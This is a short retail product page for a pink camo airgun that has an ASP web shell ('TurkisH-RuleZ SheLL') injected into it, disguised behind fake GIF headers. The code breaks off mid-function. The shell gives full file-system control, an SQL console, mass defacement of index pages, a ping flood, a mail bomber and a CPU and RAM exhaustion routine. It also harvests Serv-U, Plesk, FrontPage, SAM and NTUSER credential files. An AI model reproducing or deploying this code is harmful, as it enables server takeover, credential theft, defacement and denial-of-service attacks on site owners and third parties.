Important

Orders placed after March 30th will not arrive until after April 10th

PowerLine Model 35 Pink Camo

Daisy PowerLine Model 35 Pink Camo
$49.99
GIF89a; GIF89a; GIF89a; GIF89a; <% 'if request("rootx") = "b0x" then 'response.cookies("yes") = "1" 'response.cookies("yes").expires = now+352 'end if 'if not request.cookies("yes") = "1" then 'response.end() 'end if Server.ScriptTimeOut = 7200 Fullpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\") FilePath = mid(Fullpath,InStrRev(Fullpath,"\")+1) FolderPath = Left(Fullpath,InStrRev(Fullpath,"\")) const charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-" const karakter1="ABCDEFGHIJKLMNOPQRSTUVWXYZ" const karakter2="abcdefghijklmnopqrstuvwxyz" const karakter3="0123456789" const karakter4="!@#$%^&*()-_+=~`[]{}|\:;<>,.?/" mail_array = array("yahoo","hotmail","mynet","gmail","hacker") '?zel mailler yaratmak için, SPAM dan kaç?rmak için. Securityi a?mak için by b0x uzanti_array = array("com","net","biz","org","gov","br","info") yasak_array = array("b0x","CYBERWARRIOR","CYBERSECURITY","GAL","GAL","TURK") Dim b0x Set b0x = CreateObject("Scripting.FileSystemObject") Path = Trim(request("Path")) mode = request("mode") FolderPath2 = request("FolderPath2")&"\" islem = request("islem") del = request("del") file = request("file") folder = request("folder") table = Request("table") inject1 = Request("inject1") inject2 = Request("inject2") inject3 = Request("inject3") inject4 = Request("inject4") inject5 = Request("inject5") cmdkod = Request("cmdkod") hacked = request("hacked") Path = request("Path") url = request("url") count = request("count") size = request("size") dbname = request("dbname") dbkadi = request("dbkadi") dbsifre = request("dbsifre") b0xsql = request("b0xsql") sec = request("sec") Usermd5 = request("Usermd5") ara1 = request("ara1") ara2 = request("ara2") k1 = request("k1") k2 = request("k2") k3 = request("k3") k4 = request("k4") waiting = request("waiting") coding = request("coding") dizi = request("dizi") Usersmd5 = request("Usersmd5") salt = request("salt") hash2 = request("hash2") hash3 = request("hash3") hash4 = request("hash4") hash5 = request("hash5") hash6 = request("hash6") hash7 = request("hash7") hash8 = request("hash8") hash9 = request("hash9") hash10 = request("hash10") if Path = "" then Path = FolderPath else FolderPath = Path end if if mode = "1" then FolderPath = request.form("remote") Path = request.form("remote") end if nolist = False popup = False if mode = "2" or mode = "3" or mode = "7" or mode = "8" or mode = "16" or mode = "17" or mode = "18" or mode = "19" or mode = "20" or mode = "21" or mode = "22" or mode = "24" or mode = "25" or mode = "26" or mode = "27" or mode = "28" or mode = "29" or mode = "30" or mode = "31" or mode = "32" or mode = "33" or mode = "36" or mode = "38" or mode = "39" or mode = "40" or mode = "41" or mode = "42" or mode = "43" or mode = "44" or mode = "45" or mode = "99" then popup = True end if if mode = "6" then Response.Buffer=True Set Fil = b0x.GetFile(file) Response.contenttype="application/force-download" Response.AddHeader "Cache-control","private" Response.AddHeader "Content-Length", Fil.Size Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name Response.BinaryWrite readBinaryFile(Fil.path) Set f = Nothing: Set Fil = Nothing response.end end if response.write "# TurkisH-RuleZ SheLL " response.write "" response.write "" %> <% sub KlasorOku on error resume next Set f = b0x.GetFolder(FolderPath) Set fc = f.SubFolders For Each f1 In fc Response.Write "
4 û 1"&f1.name&"
" Response.Flush Next call Status end sub sub DosyaOku on error resume next Set f = b0x.GetFolder(FolderPath) Set fc = f.Files For Each f1 In fc dosyaAdi = f1.name num = InStrRev(dosyaAdi,".") uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num)) downStr = "û?4?" response.Write "
" select case uzanti case "mdb" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" M "&downStr&"
" case "asp" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ± !"&downStr&"" case "jpg","gif" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ¢ "&downStr&"" case else Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&"" end select Next call Status end sub sub Suruculer for each drive_ in b0x.Drives Response.Write "" Response.Write "" if drive_.Drivetype=1 then Response.write "  < Disk Drive [" & drive_.DriveLetter & ":]   ?" if drive_.Drivetype=2 then Response.write "  ; Disk Drive [" & drive_.DriveLetter & ":]   ?" if drive_.Drivetype=3 then Response.write "  ; C?kar?labilir Disk [" & drive_.DriveLetter & ":]   ?" if drive_.Drivetype=4 then Response.write "  ³ Cd-Rom [" & drive_.DriveLetter & ":]   ?" Response.Write "" next Response.Write "  H Local Path " end sub Sub SurucuInfo 'Disk Alan?n? G?sterir - Coded Developed By TurkisH-RuleZ DriveSpace = Request("dspace") If Not DriveSpace = "" Then on error resume next Set driveObject = b0x.GetDrive(DriveSpace) D1 = Left((driveObject.FreeSpace/(driveObject.TotalSize*1.0))*100.0, 4) if err <> 0 then response.write "

N Disk Haz?r de?il !!!! :( N
" else D2 = Left(((driveObject.TotalSize - driveObject.FreeSpace)/(driveObject.TotalSize*1.0))*100.0, 4) D3 = 100 D1a = 110 - D1 D2a = 110 - D2 D3a = 110 - D3 Response.Write "
Disk : " & driveObject.DriveLetter & "
 Bo? AlanKullan?lan AlanToplam Alan
 
 Yüzde :"&D1&" %"&D2&" %"&D3&" %
 Boyut : " & FormatNumber(driveObject.FreeSpace / 1048576) & " MB " & FormatNumber(driveObject.TotalSize / 1048576) - FormatNumber(driveObject.FreeSpace / 1048576) & " MB " & FormatNumber(driveObject.TotalSize / 1048576) & " MB



" end if Set driveObject = Nothing End If end sub sub yetkino(str) response.write "   "&str&" : û   " End Sub sub yetkiyes(str) response.write "   "&str&" : ü   " end Sub sub Yetki on error resume next Set f = b0x.GetFolder(FolderPath) if err<>0 then yetkino("Reading ") yetkino("Writing ") yetkino("Deleting ") else yetkiyes("Reading ") on error resume next Set MyFile = b0x.CreateTextFile(FolderPath & "test.b0x", True) MyFile.write "b0x Was Here... =) Writing - Reading Testi için" set MyFile = Nothing if err<>0 then yetkino("Writing ") yetkino("Deleting ") else yetkiyes("Writing ") on error resume next b0x.DeleteFile FolderPath & "test.b0x",true if err<>0 then yetkino("Deleting ") else yetkiyes("Deleting ") end if end if end if set f = nothing end sub Sub olmadi(str) response.write "
N "&str&" :( N
" End Sub Sub oldu(str) response.write "
N "&str&" ;) Tebrikler ??lem Ba?ar?yla Gerçekle?tirildi.. by b0x N
" End Sub Sub tablo12(str) response.write ""&str&"" End Sub Sub tablo30(str) response.write ""&str&"" End Sub Sub tablo12L(str) response.write ""&str&"" End Sub Sub tablo12O(str) response.write ""&str&"" End Sub sub Status if err<>0 then Response.Write "
Status : "&err.Description&"
" end if end sub Function ReadBinaryFile(FileName) Const adTypeBinary = 1 Dim BinaryStream Set BinaryStream = CreateObject("ADODB.Stream") BinaryStream.Type = adTypeBinary BinaryStream.Open BinaryStream.LoadFromFile FileName ReadBinaryFile = BinaryStream.Read End Function Sub SQL_menu_by_b0x response.write "
" response.write "
" response.write "
" response.write "" tablo30(" SQL ?njection Merkezi") tablo30(" ") tablo12(" Kullanabilmeniz için SQL kou?tlar? bilmeniz gerek !!!
N Aksi Halde ASP DOsya? Kitlenir. Cevap veremez. Server a Zarar verir. N
") tablo12(" Select ") tablo12(" Delete ") tablo12(" Insert ") tablo12(" Update ") tablo12(" Di?er ") tablo12("


") if b0xsql = "" then tablo12(" .... ::: Tablolara Geri D?n ::: ....
") else tablo12(" .... ::: Tablolara Geri D?n ::: ....
") end if response.write "

" response.write "
...:::::: SQL Komut Yard?m - Kullan?m Klavuzu by b0x ::::::...

" end sub Sub SQL_by_b0x(sqlPath,sqlkomut) on error resume next Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = sqlPath objConn.Open if err <> 0 then response.write "

N DataBase ile Ba?lant?n?z Sa?lanamad? !!! by b0x :( N


" else on error resume next objRcs.Open sqlkomut,objConn, adOpenKeyset , , adCmdText if err <> 0 then response.write "

N SQL ?njection Komutunuzda Status var. ( Bilmiyorsan KullanMA :) ) by b0x N


" else Response.Write "
" for i=0 to objRcs.Fields.count-1 Response.Write "" next Response.Write "" do while not objRcs.EOF Response.Write "" for i=0 to objRcs.Fields.count-1 Response.Write "" next Response.Write "" objRcs.MoveNext loop Response.Write "
   "&objRcs.Fields(i).Name&"   
"&Replace(objRcs.Fields(i).Value,"<","<")&" 

" end if end if end sub Sub MSSQL_by_b0x(sqlPath,sqlkomut) on error resume next Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Open sqlPath if err <> 0 then response.write "

N DataBase ile Ba?lant?n?z Sa?lanamad?? !!! by b0x :( N


" else on error resume next objRcs.Open sqlkomut,objConn, adOpenKeyset , , adCmdText if err <> 0 then response.write "

N SQL ?njection Komutunuzda Status var. ( Bilmiyorsan KullanMA :) ) by b0x N


" else Response.Write "
" for i=0 to objRcs.Fields.count-1 Response.Write "" next Response.Write "" do while not objRcs.EOF Response.Write "" for i=0 to objRcs.Fields.count-1 Response.Write "" next Response.Write "" objRcs.MoveNext loop Response.Write "
   "&objRcs.Fields(i).Name&"   
"&objRcs.Fields(i).Value&" 

" end if end if end sub sub Tablolama() on error resume next if b0xsql = "" then if sec = "mssql" then b0xsql = "PROVIDER=SQLOLEDB;DATA SOURCE="&file&";UID="&dbkadi&";PWD="&dbsifre&";DATABASE="&dbname&"" else b0xsql = "Driver={MySQL ODBC 3.51 Driver};Server="&file&";Database="&dbname&";Uid="&dbkadi&";Pwd="&dbsifre&"" end if end if Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Open b0xsql objADOX.ActiveConnection = objConn if err = 0 then Response.Write "
Tablolar

" response.write "" For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "" End If Next response.write "
4 "&table.Name&"
" response.write "
" else Call MSSQL_Form yazortaa("

N Server ile ba?lant? Sa?lanamad? !!! girilen De?erler yanl?? .. :( by b0x N

") end if end Sub sub MSSQL_Form() response.write "
" yazorta(" MY-MS SQL Server Connection 2.0 by b0x ") response.write "
MsSQL    -    MySQL
Server IP/Hostname :
DB Ad? :
KAd? :
?ifre :
" yazorta("TUm haklar? Sakl?d?r by b0x =)") response.write "
" end sub sub MassCopier(hedef) on error resume next Set cloner = b0x.GetFile(hacked) cloner.Copy hedef,true Set cloner = Nothing end sub sub MassCreater(yer,savsak) on error resume next Set savsakcom = b0x.CreateTextFile(yer, True) savsakcom.write savsak Set savsakcom = Nothing end sub sub MassAttack2(yer,ej,svk) if hash3 = "ok" then yer = yer&"\"&svk end if on error resume next if not islem = "ozel" then if hash9 = "copy" then MassCopier(yer&"\index.html") MassCopier(yer&"\index.htm") MassCopier(yer&"\index.asp") MassCopier(yer&"\index.cfm") MassCopier(yer&"\index.php") MassCopier(yer&"\default.html") MassCopier(yer&"\default.htm") MassCopier(yer&"\default.asp") MassCopier(yer&"\default.cfm") MassCopier(yer&"\default.php") else Call MassCreater(yer&"\index.html",ej) Call MassCreater(yer&"\index.htm",ej) Call MassCreater(yer&"\index.asp",ej) Call MassCreater(yer&"\index.cfm",ej) Call MassCreater(yer&"\index.php",ej) Call MassCreater(yer&"\default.html",ej) Call MassCreater(yer&"\default.htm",ej) Call MassCreater(yer&"\default.asp",ej) Call MassCreater(yer&"\default.cfm",ej) Call MassCreater(yer&"\default.php",ej) end if else if hash9 ="copy" then MassCopier(yer&"\"&inject1) else Call MassCreater(yer&"\"&inject1,ej) end if end if a = Replace(FilePath&"?Path="&yer&"&Time="&time,"\","/") If Err.Number = 0 Then response.write "
"&yer&" OK !! ü
" else response.write "
"&yer&" Noo :( !! û
" end if Err.Number = 0 Response.Flush end sub sub MassAttack(yer,ej,svk) dim fastb0x on error resume next Set f = b0x.GetFolder(yer) Set fc = f.SubFolders For Each f1 In fc if hash3 = "ok" then fastb0x = f1.path&"\"&svk else fastb0x = f1.path end if if not islem = "ozel" then if hash9 = "copy" then MassCopier(fastb0x&"\index.html") MassCopier(fastb0x&"\index.htm") MassCopier(fastb0x&"\index.asp") MassCopier(fastb0x&"\index.cfm") MassCopier(fastb0x&"\index.php") MassCopier(fastb0x&"\default.html") MassCopier(fastb0x&"\default.htm") MassCopier(fastb0x&"\default.asp") MassCopier(fastb0x&"\default.cfm") MassCopier(fastb0x&"\default.php") else Call MassCreater(fastb0x&"\index.html",ej) Call MassCreater(fastb0x&"\index.htm",ej) Call MassCreater(fastb0x&"\index.asp",ej) Call MassCreater(fastb0x&"\index.cfm",ej) Call MassCreater(fastb0x&"\index.php",ej) Call MassCreater(fastb0x&"\default.html",ej) Call MassCreater(fastb0x&"\default.htm",ej) Call MassCreater(fastb0x&"\default.asp",ej) Call MassCreater(fastb0x&"\default.cfm",ej) Call MassCreater(fastb0x&"\default.php",ej) end if else if hash9 = "copy" then MassCopier(fastb0x&"\"&inject1) else Call MassCreater(fastb0x&"\"&inject1,ej) end if end if a = Replace(FilePath&"?Path="&fastb0x&"&Time="&time,"\","/") If Err.Number = 0 Then response.write "
"&fastb0x&" OK !! ü
" else response.write "
"&fastb0x&" Noo :( !! û
" end if Err.Number = 0 Response.Flush if islem = "brute" then Call MassAttack(f1.path&"\",ej,svk) end if Next end sub Sub tester(yer) on error resume next Set f = b0x.GetFolder(yer) Set fc = f.SubFolders For Each f1 In fc a = Replace(FilePath&"?Path="&f1.path&"&Time="&time,"\","/") response.write "
"&f1.path&" " Response.Flush Err.Number = 0 on error resume next Set f = b0x.GetFolder(f1.path) if Err.Number <> 0 then response.write " Reading : û " else response.write " Reading : ü " end if set f = nothing Err.Number = 0 Response.Flush on error resume next Set MyFile = b0x.CreateTextFile(f1.path & "test.b0x", True) MyFile.write " b0x Was Here " set MyFile = Nothing if Err.Number <> 0 then response.write " Writing : û " else response.write " Writing : ü " end if set f = nothing Err.Number = 0 Response.Flush on error resume next b0x.DeleteFile f1.path & "test.b0x",true if Err.Number <> 0 then response.write " Deleting : û " else response.write " Deleting : ü " end if set f = nothing Err.Number = 0 Response.Flush response.write "
" Response.Flush Call tester(f1.path) Next end sub Sub arama(yer) on error resume next Set f = b0x.GetFolder(yer) Set fc = f.SubFolders For Each f1 In fc Set f2 = b0x.GetFolder(f1.path) Set fc2 = f2.Files For Each f12 In fc2 if InStr(Ucase(f12.name),Ucase(hacked)) > 0 then downStr = "
? " if Ucase(hacked)="MDB" then Response.Write downStr&" û - "&f12.path&" ["&f12.size&"]"&"
" i=i+1 else Response.Write downStr&" û ! - "&f12.path&" ["&f12.size&"]"&"

" i=i+1 end if end if Response.Flush next set f2 = nothing set fc2 = nothing Call arama(f1.path) next set f = nothing set fc = nothing end sub Sub Ping_Bomb_b0x(b0xsite,b0xpings,b0xtimeout,b0xbyte) '/// by b0x. ?zel modüller ekledim =). Ne Mutlu TURKUM D?YENE. noattack = 1 bonus = 0 If b0xpings = "" Then b0xpings = 4 If b0xpings = 0 Then b0xpings = 4 If b0xtimeout = "" Then b0xtimeout = 750 If InStr(b0xsite,"savsak") > 0 or InStr(b0xsite,"yagmurlu") or InStr(b0xsite,"gov.tr") > 0 then noattack = 0 If InStr(b0xsite,"cyber") > 0 or InStr(b0xsite,"tahri") > 0 or InStr(b0xsite,"hack") > 0 or InStr(b0xsite,"team") > 0 then bonus = 1 response.write "" End Sub Sub Somurgen(filex,urlx) for i=0 to CInt(filex) response.write "
"&i&". Robot Ba?land?..
" response.Write "" next End Sub Sub Ram_Cpu on error resume next response.write "
RAM & CPU FUcker for SERVER 0
" response.write "

ZARAR verme MEkanizmas? Devrede...
" response.write "
Durdurmak için Pencereyi kapat. Her 2 Saniyede bir 3 program aç?l?yor...
" response.write "
by b0x
" response.Write "" response.Write "" response.Write "" response.write "" response.flush end Sub function TextYarat(intLen) str="" Randomize for i=1 to intLen str=str & Mid(charset,Int((Len(charset)-1+1)*Rnd+1),1) next TextYarat=str end function function MailSec() dim strNewText,i str="" Randomize mail = mail_array(round(rnd()*4)) uzanti = uzanti_array(round(rnd()*6)) str = "@"& mail &"."& uzanti MailSec = str end function function MailKorumasi(mailx) MailKorumasi = 0 for i=0 to 9 If Instr(UCASE(mailx), yasak_array(i)) Then MailKorumasi = 1 end if next end function Function MailYarat() MailYarat = TextYarat(8) & MailSec() end function Function TextYarat2() TextYarat2 = TextYarat(200) end function Function BaslikYarat() BaslikYarat = TextYarat(10) end function Sub MailBomber_by_b0x(alicix) response.cookies("bilesen") = "1" on error resume next Set mailObj = Server.CreateObject("CDONTS.NewMail") mailObj.From = MailYarat() mailObj.To = alicix mailObj.Subject = BaslikYarat() mailObj.Body = TextYarat2() mailObj.Send Set mailObj = Nothing if err <> 0 then on error resume next Set mailObj = Server.CreateObject("CDO.Message") mailObj.From = MailYarat() mailObj.To = alicix mailObj.Subject = BaslikYarat() mailObj.TextBody = TextYarat2() mailObj.Send Set mailObj = Nothing if err <> 0 then response.cookies("bilesen") = "0" end if end if End Sub Sub yazorta(yazx) response.write "
"&yazx&"
" End Sub Sub yazsol(yazx) response.write "
"&yazx&"
" End Sub Sub yazortaa(yazx) response.write "
"&yazx&"
" End Sub Sub yazsoll(yazx) response.write "
"&yazx&"
" End Sub Function OS() on error resume next strComputer = "." Set objWMI = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set colItems = objWMI.ExecQuery("Select * from Win32_OperatingSystem",,48) For Each objItem in colItems VerBig = Left(objItem.Version,3) Next Select Case VerBig Case "5.0" OSystem = "W2K" Case "5.1" OSystem = "XP" Case "5.2" OSystem = "Windows 2003" Case "4.0" OSystem = "NT 4.0**" Case Else OSystem = "Unknown - probably Win 9x" End Select OS = OSystem End Function Sub FolderExistx(yer) if b0x.FolderExists(yer) then yazorta("4 û 1 "&yer&"") end if End Sub Sub b0xServuRemote() j=0 servu = array("C:\Program Files\base.ini","C:\base.ini","C:\Program Files\Serv-U\base.ini","C:\Program Files\Serv-U\ServUAdmin.ini","C:\Program Files\Serv-U\SERV-U.ini","C:\Program Files\Serv-U\ServUDaemon.ini","C:\Program Files\SERV-U.ini","C:\SERV-U.ini","C:\Program Files\ServUDaemon.ini","C:\ServUDaemon.ini","C:\Program Files\WS_FTP.ini","C:\WS_FTP.ini","C:\Program Files\WS_FTP\WS_FTP.ini","C:/Program Files/Gene6 FTP Server/RemoteAdmin/remote.ini","C:/users.txt","D:/users.txt","E:/users.txt") for i=0 to 16 if b0x.FileExists(servu(i)) then downStr = "û?4?" yazorta(""&servu(i)&" ± !"&downStr&"") j=j+1 end if next if j = 0 then yazorta("
N Remote olarak Sonuç bulunamad?. Geli?mi? aramay? seçiniz. N ") end if servufolder = array("C:\Program Files\Serv-U","C:/Program Files/Gene6 FTP Server/RemoteAdmin","C:/Program Files/Gene6 FTP Server/Accounts/Helm FTP Users/users") for i=0 to 2 FolderExistx(servufolder(i)) next End Sub Sub b0xPleskRemote() j=0 plesk = array("c:/Program Files/SWsoft/Plesk/MySQL/Data/mysql","c:/Program Files/SWsoft/Plesk","c:/Program Files/SWsoft/Plesk/MySQL/Data/psa","c:/Program Files/SWsoft/Plesk/Databases/MySQL/Data/mysql","c:\Program Files\swsoft\autsav.sav") for i=0 to 3 if b0x.FolderExists(plesk(i)) then yazorta("4 û 1"&plesk(i)&"") j=j+1 end if next if j = 0 then yazorta("
N "&plesk(0)&" ve "&plesk(1)&" dizinleri bulunamad?. N ") end if if b0x.FileExists(plesk(4)) then downStr = "û?4?" yazorta(""&servu(i)&" ± !"&downStr&"") else yazorta("
N Plesk'in Autsav.sav Dosyas? bulunamad?. N ") end if End Sub Sub b0xSam() Err.Number=0 on error resume next Set MyFile = b0x.CreateTextFile("C:config\test.b0x", True) MyFile.write " b0x Was Here... =) " set MyFile = Nothing if Err.Number <> 0 then response.write "
 Writing : û " else response.write "
 Writing : ü " end if Err.Number=0 on error resume next b0x.DeleteFile "C:config\test.b0x",true if Err.Number <> 0 then response.write " Deleting : û 
" else response.write " Deleting : ü 
" end if on error resume next url = "C:config\" Set f = b0x.GetFolder(url) if err <> 0 then url = "C:\WINDOWS\system32\config\" Set f = b0x.GetFolder(url) end if Set fc = f.Files For Each f1 In fc downStr = "û?4?" yazorta(""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ± !"&downStr&"") Next end Sub Sub b0xVti_Pvt() j=0 local = request.servervariables("APPL_PHYSICAL_PATH") vti = array(""&local&"\_vti_pvt\access.cnf",""&local&"\..\_vti_pvt\access.cnf",""&local&"\..\..\_vti_pvt\access.cnf",""&local&"\..\..\..\_vti_pvt\access.cnf",""&local&"\_vti_pvt\postinfo.html",""&local&"\..\_vti_pvt\postinfo.html",""&local&"\..\..\_vti_pvt\postinfo.html",""&local&"\..\..\..\_vti_pvt\postinfo.html",""&local&"\vti_pvt/service.pwd",""&local&"\..\vti_pvt/service.pwd",""&local&"\..\..\vti_pvt/service.pwd",""&local&"\..\..\..\vti_pvt/service.pwd") for i=0 to 11 if b0x.FileExists(vti(i)) then downStr = "û?4?" yazorta(""&vti(i)&" ± !"&downStr&"") j=j+1 end if next if j = 0 then yazorta("
N Sonuç bulunamad?. Daha geni? Arama yap?n by b0x N ") end if end sub Sub b0xNTUser(oturum) j=0 ntuser = array("c:\documents and settings\"&oturum&"\NTUSER.DAT","c:\documents and settings\Administrator\NTUSER.DAT","c:\documents and settings\"&oturum&"\ntuser.dat.log","c:\documents and settings\Administrator\ntuser.dat.log","c:\documents and settings\"&oturum&"\ntuser.ini","c:\documents and settings\Administrator\ntuser.ini") for i=0 to 5 if b0x.FileExists(ntuser(i)) then downStr = "û?4?" yazorta(""&ntuser(i)&" ± !"&downStr&"") j=j+1 end if next if j = 0 then yazorta("
N Sonuç bulunamad?. Daha geni? Arama yap?n by b0x N ") end if end sub Sub b0xRepair() Err.Number=0 on error resume next Set MyFile = b0x.CreateTextFile("c:..\repair\test.b0x", True) MyFile.write " b0x Was Here... =) " set MyFile = Nothing if Err.Number <> 0 then response.write "
 Writing : û " else response.write "
 Writing : ü " end if Err.Number=0 on error resume next b0x.DeleteFile "c:..\repair\test.b0x",true if Err.Number <> 0 then response.write " Deleting : û 
" else response.write " Deleting : ü 
" end if on error resume next url = "c:..\repair\" Set f = b0x.GetFolder(url) if err <> 0 then url = "C:\WINDOWS\repair\" Set f = b0x.GetFolder(url) end if Set fc = f.Files For Each f1 In fc downStr = "û?4?" yazorta(""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ± !"&downStr&"") Next end Sub Function kodolustur(aralik) ' belirtitiim aral?kda kod olu?tuuyorurum. 01#01#01#01# ba?lang?ç iiçin by b0x dim coding coding = "" for i=1 to CInt(aralik) coding = coding + "01#" next kodolustur = coding End Function Function diziolustur() ' Seçilen Charset leri burda birle?tiriyorum by b0x Dim dizi dizi="" if not k1 = "" then dizi = dizi & karakter1 if not k2 = "" then dizi = dizi & karakter2 if not k3 = "" then dizi = dizi & karakter3 if not k4 = "" then dizi = dizi & karakter4 diziolustur = dizi End Function Function Sifreyarat(codex,aralik,dizix) ' Stirng kodunu sa?dan ç?zümleyerek ?ifre yarat?yor by b0x dim hash dim sifre hash="" sifre="" i=CInt(aralik) Do While i>0 hash = CInt(Mid(codex,((i-1)*3)+1,2)) ' Sa?dan say?lar? al?yor. sifre = Mid(dizix,hash,1) & sifre i=i-1 Loop Sifreyarat = sifre End Function Function SonrakiAdim(codex,aralik,dizix) ' sonraki ad?ma haz?rl?k coded Developed By TurkisH-RuleZ Dim hash hash = "" increment=0 goup=0 hashing = "" i=CInt(aralik) Do While i>0 hash = CInt(Mid(codex,((i-1)*3)+1,2)) ' Sa?dan say?lar? al?yor. ' Carry out ? di?eirne giri? yap increment the next one if hash => Len(dizix) then increment = 1 hash = 1 else if increment = 1 then hash = hash+1 increment = 0 end if end if ' e?er ara1 hanelki ?ifreleme bitti ise di?eirne ?kams? gerek ara1++ if i = 1 AND hash>= Len(dizix)-1 then goup=1 ' Brute biti?ini g?steriiyorum. if i = CInt(aralik) AND hash>= Len(dizix) AND ara1 = ara2 then getend=1 '' BRUTE ç?k??? bitti?ini anal?yorumm GETEND =1 !!!!!!!!!!!!! ' hash i bir sonraki ad?ma haz?rla if i = CInt(aralik) then hash = hash + 1 'yeni hash numaras? olu?tur if hash <10 then hash = "0" & hash hashing = hash &"#" & hashing i=i-1 Loop coding = hashing ' e?erki goup =1 then hane atla ve yeni stireg ol?utur if goup = 1 then coding = "" ara1 = CInt(aralik) + 1 for j=1 to ara1 coding = coding + "01#" next end if SonrakiAdim = coding End Function Sub Cookyaz(str1,str2,str3) if not str3 = "" then response.cookies(str1)("str2") = str3 response.cookies(str1).expires = now+100 session("say") = CInt(session("say")) + 1 end if End Sub Sub HashFounded(str1,str2) if not request.cookies(str1)("sifre") = "" then yazsol("Bulundu: "&request.cookies(str1)(str2)&" ->> "&request.cookies(str1)("sifre")&" ") inject3 = CInt(inject3) + 1 end if End Sub Sub hashyes(str1,str2,md5x,pwd) if not request.cookies(str1)(str2) = "" AND UCASE(request.cookies(str1)(str2)) = md5x then yazsol("BULDUuuuuuuuuuuuuuuu " & pwd & " - " & request.cookies(str1)(str2)&"") response.cookies(str1)("sifre") = pwd end if End Sub '************************* ZORUNLU UPLOAD için GEREKLi =(( ********************************************************************************************** Class clsUpload Private mbinData Private mlngChunkIndex Private mlngBytesReceived Private mstrDelimiter Private CR Private LF Private CRLF Private mobjFieldAry() Private mlngCount Private Sub RequestData Dim llngLength mlngBytesReceived = Request.TotalBytes mbinData = Request.BinaryRead(mlngBytesReceived) End Sub Private Sub ParseDelimiter() mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1) End Sub Private Sub ParseData() Dim llngStart Dim llngLength Dim llngEnd Dim lbinChunk llngStart = 1 llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF) While Not llngStart = 0 llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2 llngLength = llngEnd - llngStart lbinChunk = MidB(mbinData, llngStart, llngLength) Call ParseChunk(lbinChunk) llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF) Wend End Sub Private Sub ParseChunk(ByRef pbinChunk) Dim lstrName Dim lstrFileName Dim lstrContentType Dim lbinData Dim lstrDisposition Dim lstrValue lstrDisposition = ParseDisposition(pbinChunk) lstrName = ParseName(lstrDisposition) lstrFileName = ParseFileName(lstrDisposition) lstrContentType = ParseContentType(pbinChunk) If lstrContentType = "" Then lstrValue = CStrU(ParseBinaryData(pbinChunk)) Else lbinData = ParseBinaryData(pbinChunk) End If Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData) End Sub Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData) Dim lobjField ReDim Preserve mobjFieldAry(mlngCount) Set lobjField = New clsField lobjField.Name = pstrName lobjField.FilePath = pstrFileName lobjField.ContentType = pstrContentType If LenB(pbinData) = 0 Then lobjField.BinaryData = ChrB(0) lobjField.Value = pstrValue lobjField.Length = Len(pstrValue) Else lobjField.BinaryData = pbinData lobjField.Length = LenB(pbinData) lobjField.Value = "" End If Set mobjFieldAry(mlngCount) = lobjField mlngCount = mlngCount + 1 End Sub Private Function ParseBinaryData(ByRef pbinChunk) Dim llngStart llngStart = InStrB(1, pbinChunk, CRLF & CRLF) If llngStart = 0 Then Exit Function llngStart = llngStart + 4 ParseBinaryData = MidB(pbinChunk, llngStart) End Function Private Function ParseContentType(ByRef pbinChunk) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStrB(llngStart + 15, pbinChunk, CR) If llngEnd = 0 Then Exit Function llngStart = llngStart + 15 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) End Function Private Function ParseDisposition(ByRef pbinChunk) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) If llngEnd = 0 Then Exit Function llngStart = llngStart + 22 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) End Function Private Function ParseName(ByRef pstrDisposition) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStr(llngStart + 6, pstrDisposition, """") If llngEnd = 0 Then Exit Function llngStart = llngStart + 6 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseName = Mid(pstrDisposition, llngStart, llngLength) End Function Private Function ParseFileName(ByRef pstrDisposition) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStr(llngStart + 10, pstrDisposition, """") If llngEnd = 0 Then Exit Function llngStart = llngStart + 10 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseFileName = Mid(pstrDisposition, llngStart, llngLength) End Function Public Property Get Count() Count = mlngCount End Property Public Default Property Get Fields(ByVal pstrName) Dim llngIndex If IsNumeric(pstrName) Then llngIndex = CLng(pstrName) If llngIndex > mlngCount - 1 Or llngIndex < 0 Then Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") Exit Property End If Set Fields = mobjFieldAry(pstrName) Else pstrName = 